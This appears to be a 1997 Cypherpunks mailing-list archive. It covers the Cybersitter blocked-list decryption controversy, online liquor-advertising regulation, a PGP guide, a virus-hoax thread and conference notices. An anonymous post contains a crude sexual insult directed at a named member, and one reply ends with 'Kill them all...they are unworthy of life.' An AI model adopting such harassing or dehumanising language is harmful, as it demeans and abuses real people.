>protected by U.S. and International intellectual property laws.
>
>This program performs this action without permission of the copyright
owner. We demand
>that this program be removed immediately.
>
>2. You have placed links on your web site to various locations on servers
owned and
>operated by Solid Oak Software, Inc., a private corporation. These include,
but are
>not limited to, HTTP links, FTP links, and e-mail links and private e-mail
addresses.
>
>You have done this without permission of Solid Oak Software, Inc.  Further
use of
>these links to our private facilities will be viewed as trespassing and
intentional
>harassment. We demand that these links be removed immediately.
>
>Your failure to comply with these demands immediately upon receipt of this
letter will
>be met with appropriate action.
>
>
>Sincerely,
>Brian Milburn, President
>Solid Oak Software, Inc.
>
>
>
>____________________________________________
>
>Brian Milburn
>Solid Oak Software,Inc. - Santa Barbara, CA
>bmilburn at solidoak.com - CIS: 74774,551
>http://www.solidoak.com - CIS: "GO SOLIDOAK"
>

***********

http://www.wired.com/news/politics/story/3355.html

Teen Offers Way to Crack Blocking Software
by Rebecca Vesely

3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
program on the Web that can be used to decrypt a list of sites blocked
by the prominent blocking software Cybersitter. The company that makes
the program is furious, and an attorney versed in Net law says the
student could face legal action.

Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
posted a program that he wrote specifically to crack the "filter file"
that comes with Cybersitter. The 18-year-old junior at Vanderbilt
University says it took him two days to write the software. The filter
file is frequently updated by Solid Oak Software, the company that
owns Cybersitter, but was taken offline Tuesday by the company.

"He is violating every intellectual property law ever written," said
Solid Oak president Brian Milburn. "It costs us tens of thousands of
dollars to maintain that list. It's none of his business what is on
that list or what we do with it."

Milburn would not say whether the company planned to take legal
action, but did say that Solid Oak "does not condone any kind of crime."

A recent list of sites blocked by Cybersitter - pulled before the
company took the filter file offline - was posted anonymously to
Declan McCullagh's fight-censorship email discussion list Monday. The
decrypted file shows that while most of the sites blocked by
Cybersitter are pornographic in nature, a number are not.

Among the sites blocked by Cybersitter on Monday were Cyborganic
Gardens; the National Organization for Women; the Gay and Lesbian
Alliance Against Defamation; several regional ISPs; Peacefire; the
Ethical Spectacle, which has criticized Solid Oak's blocking
practices; and the chocolatier Godiva.

"I think they are misrepresenting their product," Haselton said. "It's
not just the fact that they are blocking Peacefire, it's that they are
violating truth-in-advertising practices."

Solid Oak says it blocks sites that focus on "topics such as adult or
sexual issues, illegal activities, bigotry, racism, drugs, or pornography...."

This is not Haselton's first run-in with Solid Oak.  In December, he
posted a list of Web sites blocked by Cybersitter, which at the time
included The Well and Mother Jones magazine.  Haselton maintained that
he got the partial list by surfing the Web with Cybersitter installed
on his computer. Solid Oak threatened to sue, saying that Haselton had
cracked into their computers to get the list, and also threatened to
block Peacefire's ISP, Media3. The company never acted on the threats.

But Haselton could now face prosecution for violating copyright
laws. He maintains that he skirted the law because he did not post the
list of blocked sites, just information on how to access the list. He
also noted that he accessed the Cybersitter list using an old version
of the software that does not carry a copyright warning.

However, one lawyer said she wasn't sure Haselton's reasoning will
hold up if the case goes to court.

"[Solid Oak] went to the trouble of compiling the list. From a
competitive standpoint, someone else could use Haselton's software to
get the list and start their own blocking software company," said
Shari Steele, staff counsel for the Electronic Frontier
Foundation. "There is an ownership interest here."

Steele said that although someone who used the list for competitive
purposes would be more likely to face legal ramifications than
Haselton, it is not out of the realm of possibility that a court would
side with Solid Oak.


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/







From declan at well.com  Thu Apr 24 16:33:32 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Apr 1997 16:33:32 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 16:32:35 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Cato forum on liquor advertising and electronic media

It was about a year ago when I wrote that just about every Federal agency
was scheming to regulate the Net. I take no pleasure in saying I was
right: we've seen agencies from the FDA to the FTC to the PTO try to grab
a piece of cyberspace. Indeed, last Friday at an Internet Caucus briefing,
FTC Commissioner Christine Varney said new regulations and laws were
necessary; she predicted FTC regulations would be forthcoming later this
year. 

The Center for Media Education is trying to accelerate this process. In a
fearmongering report earlier this year, the group demanded that a slew of
government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
"urgent agction" to "protect" America's children from tobacco and liquor
advertising online.

Sound familiar? It should. Net-nemesis Sen. Exon and conservative
activists like Bruce Taylor and Donna Rice-Hughes trotted out the same
lines two years ago when arguing for the Communications Decency Act.

The Cato Institute is holding a forum next month on just this issue.
Attached is the announcement and an excerpt from the CME report.

-Declan

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 10:44:06 -0400 (EDT)
From: Robin Hulsey 

The Cato Institute invites you to a Policy Forum

Liquor Advertising and the Electronic Media

featuring

Fred Meister
Distilled Spirits Council of the United States

Dan Troy
Wiley, Rein & Fielding

Sam Kazman
Competitive Enterprise Institute

Heather Mizeur
Rep. Joseph Kennedy

Tom Howarth *
Mothers Against Drunk Driving

	For years makers of "hard" liquor refrained from advertising their products
over radio and television, but last year some companies began doing so.
Some companies have also established an advertising presence on the
Internet.  Is this free speech protected by the First Amendment, or is it a
new health threat that should be subject to regulation?

Tuesday, May 6, 1997
4:00 - 5:30 p.m.
(Reception to follow)
Cato Institute
1000 Massachusetts Avenue NW
Washington, DC 20001

To register, news media please call Robin Hulsey at (202) 789-5293 or E-mail
to rhulsey at cato.org. 

* invited


****************

Excerpt from:

Center for Media Education Report
http://tap.epn.org/cme/execsum.html

Alcohol and Tobacco on the Web:
New Threats to Youth
Executive Summary


        The combination of these new Web marketing
	technologies gives marketers of alcohol and tobacco
	an arsenal of powerful new weapons. Urgent action
	is needed to ensure that effective safeguards are
	put in place to protect young people from the
	harmful effects of online marketing of alcohol and
	tobacco. Because of the unique nature of the
	interactive media, many of these new forms of
	advertising, of particular appeal to youth, appear
	to be inherently unfair and deceptive. Some of these
	practices may already be violating the law.

        The Cigarette Act, which has since 1971 kept
	advertising of cigarettes off radio and television,
	applies to "any medium of electronic communication
	subject to the jurisdiction of the Federal
	Communications Commission" and thus would be
	applicable to the Internet as well. The alcohol
	industries have not been subjected to the same kinds
	of legal barriers to advertising as tobacco.
	However, all advertising, including online
	advertising, is subject to the current laws against
	deceptive, unfair, or other illegal practices.

[...]


        Among the recommendations for action, the Center for
	Media Education calls for the following steps to
	combat the online promotion of alcohol and tobacco
	products to young people:

 1. Congress should conduct hearings on the online
	marketing of alcohol and tobacco to the nation's
	children.

 2. The Federal Trade Commission should use its
	authority over unfair and deceptive advertising to
	immediately launch an investigation into these
	practices. The FTC should also expand its current
	inquiry on online privacy to include alcohol and
	tobacco marketing data-collection practices.

 3. The Food and Drug Administration should carefully
	monitor online tobacco promotion developments and
	develop any additional safeguards needed to protect
	youth that are not already covered by the Cigarette
	Act.

 4. Federal agencies responsible for the public health,
	including the National Cancer Institute and the
	Centers for Disease Control, should examine the
	implications for public health of online marketing
	of alcohol and tobacco products.

 5. The national public health community, including
	professional medical organizations, should launch
	initiatives to educate their members and the public
	about this issue.

 6. The international health community, including the
	World Health Organization, should launch similar
	inquiries. Special attention should be given to the
	negative consequences of new media marketing in the
	developing world. The U.S. should play a leadership
	role in the international arena to create effective
	global safeguards.

 7. Parents and educators should help educate our
	nation's youth about these new dangers. They should
	establish policies in the schools to limit exposure
	of underage youth to these sites.

 8. Alcohol industries should abide by their own
	self-regulatory codes and stop targeting youth in
	all media, including online.

 9. Cigarette companies should refrain from moving onto
	the Internet to market and promote their products.
	If companies fail to comply with the Cigarette Act,
	appropriate legal action should be taken.

###









From harka at nycmetro.com  Thu Apr 24 16:39:36 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Thu, 24 Apr 1997 16:39:36 -0700 (PDT)
Subject: PGPSteps
Message-ID: 

-------------< COMMENTS BY Harka >--------------

Since there was a quite surprising interest, when I announced the
draft-version of "PGPSteps", I'll post it this time straight to the
list. If somebody would like to give it a WWW-home, go for it (please
let me know the URL).

Harka

----------< END OF COMMENTS BY Harka >----------

Here is "PGPSteps", a brief installation guide for PGP 2.6.2/2.6.3i for
DOS/Windows. I started writing it, cause it seemed, that a lot of people
were getting turned off by the sheer amount of homepages, front-ends,
150-pages+ FAQ's etc.. All of these things are great, but were usually
only mastered by the most of the determined. The majority of potential
users though didn't want to go through all that trouble.
Hence "PGPSteps", an attempt to provide an easy starting ground, that
let's newbies know, where to get PGP, how to install it, answers the
most important questions and gives pointers to other resources. All that
in a short and easily understandable form, that even not-so-technical
people might be able to deal with.

I hope, I have failed not too miserably...

Comments to "PGPSteps" are welcome.


Harka

PGPSTEPS.ASC

-------------- next part --------------
A non-text attachment was scrubbed...
Name: bin00005.bin
Type: application/octet-stream
Size: 23064 bytes
Desc: ""
URL: 

From harka at nycmetro.com  Thu Apr 24 17:29:42 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Thu, 24 Apr 1997 17:29:42 -0700 (PDT)
Subject: Cato forum on liquor
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:declan at well.com to Harka <=-

 In> The Center for Media Education is trying to accelerate this process.
 In> In a fearmongering report earlier this year, the group demanded that a
 In> slew of government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO
 In> -- take "urgent agction" to "protect" America's children from tobacco
 In> and liquor advertising online.


Shesh, such garbage one can only read with a whisky and a
cigarette...

The only way to "enforce" that would be censorship from ISP-side,
because any reasonable tobacco/liquor company would/will just set up
a server outside the US.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1/8/zltEBIEF0MBAQFcngf/TbFmBb7/Dval5nF3q2uOF9mcedvOrV/H
XGXt1Dunh9U+jF/P7qskTKgvIxOic106rmXzG+OBE4FAF8Iec8wr+8AP1drkNxQw
RV3oyH/5xm1s7lNoaCDdMumcanO6254wZhF1m5pc8KlY8LWCOmU5vhZlvlVM076E
bvVGdy+GpSL7wG7NdwspuPIWFN/O0TEO5y4snbdRqrDNWsfciCBO/WM5I6ojiQ+j
zzF4tGwZECfHFmuoNWOlBEN/PZyFi4EJldyDY0U7CIYl6hxL0nMemg4iB5zK3z6E
BW1PbScYBeCmR+fk/XGOHNxmBA1ShpqIue7WWaIeDhC3yrxfT/nYvQ==
=t4Ve
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From lucifer at dhp.com  Thu Apr 24 18:31:12 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 24 Apr 1997 18:31:12 -0700 (PDT)
Subject: Downloading Software + viruses (HOAX)
Message-ID: <199704250131.VAA11596@dhp.com>


This guy is scaring me.  It's not real, right?

On 24 Apr 97 at 18:28, Scott Shrader wrote:

> I know You can get a virus this way.  Do you want me to send you one
> this way?!?!

That sound's like a threat.  I am going to have to report you to your
ISP.  Sorry.

Abuse or Root:

Your user is threating to send me a virus through e-mail.  Can you
stop him, please?  See headers at bottom of message.  Thanks.

> 
> Yours,
> Scott
> 
> 
> At 04:03 PM 4/23/97 -0700, you wrote:
> >Scott,
> >
> >Get off it.  You can't get a virus from reading an e-mail file.
> >We've been all over this, up and down.  You must open a file and
> >run it to get a virus.  Now you *may* be able to get a virus from
> >reading 'web based' e-mal like hot mail, but using a regular e-mail
> >software it WILL NOT happen.  No way, no how, so put up a copy of
> >this "microsoft letter" on your web site you claim to have and post
> >some verifiable information or just go away and shut up.
> >
> >
> >
> >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> >
> >> The another reason I know this can happen is I got a letter from
> >> Microsoft and on C-net(on the TV), talking about a virus that
> >> once you opened it. Could curruped you e-mail program(only work
> >> on internet Exsplore and microsoft e-mail programs).
> >> 
> >> Yours,
> >> Scott Shrader
> >> 
> >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> >> >
> >> >> Sorry to burst your bubble, but I know for a fact that you can
> >> >> get a virus from a e-mail.  I've heard from other people how
> >> >> have gotten viruses this. I even heard of how to do it.  You
> >> >> can't get the virus, unless your open it and/or get it from
> >> >> your e-mail server.
> >> >> 
> >> >> Yours,
> >> >> Scott Shrader
> >> >> 
> >
> >
> 
> 
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> _/                Scott Shrader                       _/
> _/               shrader at scsn.net                     _/
> _/       http://www.scsn.net/users/shrader/           _/
> _/			or                            _/
> _/     http://www.geocities.com/Yosemite/2352/        _/
> _/                 Columbia, SC                       _/
> _/		       29223                          _/
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> 
> 


Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by






From blancw at cnw.com  Thu Apr 24 21:05:35 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 24 Apr 1997 21:05:35 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970424211058.006a0460@cnw.com>


Declan McCullagh wrote:

>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.
...............................................


I wish these people would go live in the U.S.S.R., or something.(*)

They are the ones who give the Censors of the World support for the idea
that it's okay to instigate restrictions against free expression, because
obviously the people want it - they're calling for it.   It doesn't matter
that it's not a Good Thing to limit expression; it's a matter of majority
interest.   I wish they would all go down to the sea together.   But I'm
being depressingly negative.  Anyway, who cares.  As long as there are
innovators creating high techology and useful software, one can always stay
steps ahead, right.  

(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
a State like that.  Where they can live with each other and never grow up,
but only wither away from atrophy of the mind.

   ..
Blanc





From geeman at best.com  Thu Apr 24 22:39:14 1997
From: geeman at best.com (geeman)
Date: Thu, 24 Apr 1997 22:39:14 -0700 (PDT)
Subject: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: <3.0.32.19970424223018.006e3788@best.com>


>
>http://www.wired.com/news/politics/story/3355.html
>
>Teen Offers Way to Crack Blocking Software
>by Rebecca Vesely
>
>3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
>program on the Web that can be used to decrypt a list of sites blocked
>by the prominent blocking software Cybersitter. The company that makes
>the program is furious, and an attorney versed in Net law says the
>student could face legal action.
>
>Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
>posted a program that he wrote specifically to crack the "filter file"
>that comes with Cybersitter. The 18-year-old junior at Vanderbilt
>University says it took him two days to write the software. The filter
>file is frequently updated by Solid Oak Software, the company that
>owns Cybersitter, but was taken offline Tuesday by the company.
>
>"He is violating every intellectual property law ever written," said
>Solid Oak president Brian Milburn. "It costs us tens of thousands of
>dollars to maintain that list. It's none of his business what is on
>that list or what we do with it."

/\/\/\/\/ And this genius Milburn protects it with some bullshit that can be 
cracked in 2 days!?!?!  He deserves everything he gets and more.  Should
be a lesson.

I look forward to more fireworks!


>
>-------------------------
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo at vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>
>
>
>





From frantz at netcom.com  Thu Apr 24 22:40:53 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 24 Apr 1997 22:40:53 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: 


At 9:13 PM -0700 4/24/97, Blanc wrote:
>Declan McCullagh wrote:
>
>>The Center for Media Education is trying to accelerate this process. In a
>>fearmongering report earlier this year, the group demanded that a slew of
>>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>>"urgent agction" to "protect" America's children from tobacco and liquor
>>advertising online.
>...............................................
>
>
>I wish these people would go live in the U.S.S.R., or something.(*)
>
>...
>
>(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
>a State like that.  Where they can live with each other and never grow up,
>but only wither away from atrophy of the mind.

We still have North Korea, and even better, Myanmar where net access is
illegal.

What is highly amusing is the mounting evidence that alcoholic beverages in
moderation are good for your health.  Of course, if you are one of the
small percent of the population who can't be moderate, then you should not
use alcoholic beverages.  But many people have bad reactions to various
foods.  That's no reason to forbid them or their advertising.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From nobody at REPLAY.COM  Thu Apr 24 23:15:09 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 23:15:09 -0700 (PDT)
Subject: [CRYPTO] e$
Message-ID: <199704250614.IAA15275@basement.replay.com>


Now is the time for all good little boys to 
cum in Tim May's big mouth.

           \|/
           @ @
      -oOO-(_)-OOo- Tim May






From blancw at cnw.com  Fri Apr 25 00:14:40 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 25 Apr 1997 00:14:40 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425002053.0069bc70@cnw.com>


Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.
...............................................


Well, of course I was taking aim not specifically against the mentioned
vices, but to the attitude of people who wish to protect children from
themselves in their forays into "dangerous" advertising territory.    That
is, to the attitude of calling for restriction and the setting of
boundaries, rather than of providing some explanations on life and what can
happen and how a person can deal with consequences.  But that would take a
lot of work and wisdom that they apparently don't feel they can offer. 

I have envisioned a time in the distant future, perhaps in a distant
galaxy, where static data is not a source of fear and children grow with an
open attitude to information - to the fact that it is they themselves, who
determine what shall be done, not bits of data.   I have always read so
many things since growing up, curiously poking into everything that was
available (my Mother would have cringed), and never was automatically
affected by it, but developed a total respect for a Universe of All
Possible Things, even if I never intended to involve or indulge myself in
trying out all that I encountered (in the library, bookstores, etc.)   

These people have this idea that because you look at a black hole you
inevitably must fall into it.   I guess it comes from their own lack of
self confidence.   Were they to have the aim of ascending from fear and
doubt into the expansion of their worldly perspective and development of
intelligent judgment about Reality, they wouldn't have to think of calling
upon intermediaries to put limits on their activities (or that of their
children) for them.   One should look for intermediaries only when one is
clearly helpless.   It's incredible to think that there is no self-defense
against fatuous advertising.

-- end of rant --
    ..
Blanc





From tcmay at got.net  Fri Apr 25 00:42:20 1997
From: tcmay at got.net (Tim May)
Date: Fri, 25 Apr 1997 00:42:20 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: 


At 9:20 PM -0800 4/24/97, Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.

Obviously we libertarians fully agree with this. No advertising should ever
be banned....to ban or restict any advertising, no matter how worthless or
despicable the product, is clearly a violation of basic constitutional
protections of free speech.

(Note that the orginal grounds for restricting cigarette advertising on
television and radio were on shaky grounds that the airwaves were a kind of
monopoly have now been augmented by laws restricing advertising "too close"
to schools and other places and other such restrictions. Including crap
about requiring warnings about cigarettes and alcohol, even in
non-broadcast advertisements! By this precedent, can it be long before
political writings are required to carry extensive warnings? The First
Amendment has become a joke.)

By the way, the conventional (if flaky) wisdom in the 1950s was that
cigarette smoking was good for one's health (a "digestive"). Had the FCC
and FDA had the powers then that they have now, cigarette ads would have
been _required_.

This is the danger of the monoculture I have written about. "Anything not
banned is required, anything not required is banned."

As to Cypherpunks relevance, what will happen if cigarettes, alcohol, and
condoms are advertised on the Web? (Whoops, strike condom ads...they were
once banned, but are now required.)

Kill them all...they are unworthy of life.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From gbroiles at netbox.com  Fri Apr 25 00:49:03 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 25 Apr 1997 00:49:03 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425005823.0071e090@pop.sirius.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 PM 4/24/97 -0700, Blanc wrote:

>I wish these people would go live in the U.S.S.R., or something.(*)

Indeed - I frequently find myself wondering who really won the cold war. The
"free world" seems to be adopting the totalitarian/surveillance-state tactics
and behaviors usually ascribed to the nations which "lost" the cold war; but
the "losers" seem to have a much better grasp of the importance of human
freedom than the "winners" do. 

The FBI's recent request for the capability to carry on 60,000 simultaneous
wiretaps calls to mind the wiretap apparatus of Eastern Europe, but with
modern hardware. Yow. We have met the enemy, and it is us.


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=aY23
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From blancw at cnw.com  Fri Apr 25 01:14:19 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 25 Apr 1997 01:14:19 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425012047.0069b750@cnw.com>


Greg Broiles wrote:

>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics
>and behaviors usually ascribed to the nations which "lost" the cold war; but
>the "losers" seem to have a much better grasp of the importance of human
>freedom than the "winners" do. 
.....................................................


I think it's because, having suffered through many years of totalitarian
beneficence, they know first-hand what it really means to live that way:

whereas our friends & neighbors over here can only imagine the good things
and "benefits" that they envision for everyone, the ones who have lived
through it know what it really looks like and how it really feels to be on
the receiving end.   It is unfortunate that our innocence can be a drawback
to realizing the effects or consequences of blanket policies, those
one-size-fits-all arrangements which are supposed to "help us" into
becoming better persons against our will.   Reading history apparently
doesn't make an impact on some people, sometimes they just have to be
there, to see first-hand what it means to experience their grand designs.

That's why I really wish that these people would get what they wish for -
that they could live, with all voluntary parties in full consent, the kind
of restrictive setups they are always calling for.   I guess Singapore is
the closest thing to that at this time, where they appear to live pretty
much a pre-determined existence and don't leave, although they are free to
do so.   Too bad it's a small island and can't fit many more similarly
minded types.

Maybe one day in the future all the control freaks and their submissive
followers will gravitate to certain parts of the world and everyone else to
others, and there will be peace & happiness throughout the planet.  :-)   

   ..
Blanc





From blancw at cnw.com  Fri Apr 25 02:13:48 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 25 Apr 1997 02:13:48 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425022005.006a15b0@cnw.com>


Tim May wrote:

>By the way, the conventional (if flaky) wisdom in the 1950s was that
>cigarette smoking was good for one's health (a "digestive"). Had the FCC
>and FDA had the powers then that they have now, cigarette ads would have
>been _required_.
......................................................


Just as the govt is inclined to keep databases of our sins, would it be
nice to also have a long account of their faults, for posterity.  Something
to display in arguments and debates, to present to a candid world (in the
words of the Declaration of Independence) just cause for our grievances
against it and convincing proof why it is not wise to blindly follow
leaders, for yay -  sometimes they err, and sometimes one gets the shaft.

There are many books presenting detailed accounts of govt follies, but had
I the time & inclination I would arrange them into a database table for
ease in appreciation, with categories like:

	Policy/Law
	Purpose
	Date Instigated
	Actual Effects/Consequences
	Date Retracted
	Results
	
Not that I would want to create a dark picture of govt, but only to create
a dark picture of the logic of those who would give us no choice in these
matters.










From VTDirector at MSDN.EASE.LSOFT.COM  Fri Apr 25 03:35:05 1997
From: VTDirector at MSDN.EASE.LSOFT.COM (VTDirector)
Date: Fri, 25 Apr 1997 03:35:05 -0700 (PDT)
Subject: Latest info on new Microsoft Visual Tools
Message-ID: 


Hey developers,

Don't miss out on the new capabilities of Microsoft's latest versions of
the Visual Tools you depend on--including a brand new suite of tools
called Visual Studio 97 development system.

Microsoft has just introduced the following tools, each with new features
and enhancements that can improve both your efficiency and integration
with the Internet:

* Microsoft Visual Basic programming system 5.0
-- Combine fast development and execution with the new Native Code
compiler.  Visual Basic is the most efficient tool for creating
high-performance applications that integrate client/server technology with
Internet technology.

* Microsoft Visual C++ development system 5.0
-- This is the most powerful language for developing high-performance
applications and components.  Now, run everything faster, including
existing code, with this version.

* Microsoft Visual InterDev Web development system
-- The newest member of the Visual Tools family, this integrated
development tool for building Active Server Web applications increases Web
developers' productivity and makes it easy to develop dynamic,
database-driven Web sites.

* Microsoft Visual J++ development software
-- Create great 100% cross-platform Java code, or integrate it with your
databases and existing applications.  Put the powerful Java debugger and
the fastest Java compiler to work for you. All this in a flexible,
familiar IDE that is shared with Visual C++ and Visual InterDev.

* Microsoft Visual FoxPro database management system 5.0
-- With improved performance, existing applications run up to 40% faster.
This object-oriented development tool is the best way to build all types
of database applications.

But that's just the beginning -- Microsoft has even better news.  If you
use more than one Microsoft Visual Tool, you can get a value-priced suite
of all five products for just about the price of two: Visual Studio 97.
With it, you'll be prepared for any development challenge, from
Windows-based solutions to Internet development to the most complex
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Not yet sure?  Then visit www.microsoft.com/visualtools/ for multimedia
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If you're ready to purchase, you can buy online at
http://www.developstore.com/, or call (800) 621-7930 and ask for
"Department V5 Tools" to order by phone or to find the name of a reseller
in your area.

--Tom Button
Director, Developer Product Marketing





From dlv at bwalk.dm.com  Fri Apr 25 06:19:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 06:19:45 -0700 (PDT)
Subject: Downloading Software + viruses (HOAX)
In-Reply-To: <199704250131.VAA11596@dhp.com>
Message-ID: <19RP6D33w165w@bwalk.dm.com>


lucifer at dhp.com (lucifer Anonymous Remailer) writes:

> This guy is scaring me.  It's not real, right?

It sounds like someone just earned themselves a net.scum page.

> On 24 Apr 97 at 18:28, Scott Shrader wrote:
>
> > I know You can get a virus this way.  Do you want me to send you one
> > this way?!?!
>
> That sound's like a threat.  I am going to have to report you to your
> ISP.  Sorry.
>
> Abuse or Root:
>
> Your user is threating to send me a virus through e-mail.  Can you
> stop him, please?  See headers at bottom of message.  Thanks.
>
> >
> > Yours,
> > Scott
> >
> >
> > At 04:03 PM 4/23/97 -0700, you wrote:
> > >Scott,
> > >
> > >Get off it.  You can't get a virus from reading an e-mail file.
> > >We've been all over this, up and down.  You must open a file and
> > >run it to get a virus.  Now you *may* be able to get a virus from
> > >reading 'web based' e-mal like hot mail, but using a regular e-mail
> > >software it WILL NOT happen.  No way, no how, so put up a copy of
> > >this "microsoft letter" on your web site you claim to have and post
> > >some verifiable information or just go away and shut up.
> > >
> > >
> > >
> > >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> > >
> > >> The another reason I know this can happen is I got a letter from
> > >> Microsoft and on C-net(on the TV), talking about a virus that
> > >> once you opened it. Could curruped you e-mail program(only work
> > >> on internet Exsplore and microsoft e-mail programs).
> > >>
> > >> Yours,
> > >> Scott Shrader
> > >>
> > >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> > >> >
> > >> >> Sorry to burst your bubble, but I know for a fact that you can
> > >> >> get a virus from a e-mail.  I've heard from other people how
> > >> >> have gotten viruses this. I even heard of how to do it.  You
> > >> >> can't get the virus, unless your open it and/or get it from
> > >> >> your e-mail server.
> > >> >>
> > >> >> Yours,
> > >> >> Scott Shrader
> > >> >>
> > >
> > >
> >
> >
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> > _/                Scott Shrader                       _/
> > _/               shrader at scsn.net                     _/
> > _/       http://www.scsn.net/users/shrader/           _/
> > _/			or                            _/
> > _/     http://www.geocities.com/Yosemite/2352/        _/
> > _/                 Columbia, SC                       _/
> > _/		       29223                          _/
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> >
> >
>
>
> Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From schneier at counterpane.com  Fri Apr 25 07:26:09 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Fri, 25 Apr 1997 07:26:09 -0700 (PDT)
Subject: Crypto '97: Information and Registration Form
Message-ID: 


CRYPTO '97

General Information

17-21 August 1997
Santa Barbara, California, USA

Crypto '97 is the 17th international conference on cryptology held at
the University of California Santa Barbara. The academic program
covers all aspects of cryptology; specific papers will be announced on
1 May. Formal proceedings, published by Springer-Verlag, will be
provided to all attendees at the conference.

Crypto '97 is sponsored by the International Association for
Cryptologic Research (IACR), in cooperation with the IEEE Computer
Society Technical Committee on Security and Privacy, and the Computer
Science Department of the University of California, Santa Barbara
(UCSB). Program Chair is Burt Kaliski, Jr., and General Chair is Bruce
Schneier.

In addition to selected and invited papers, there will be a rump
session on Tuesday evening for selected informal presentations.
Facilities are available for attendees to demonstrate hardware,
software, and other items of cryptologic interest. If you are
interested, contact the General Chair by 12 June 1997.

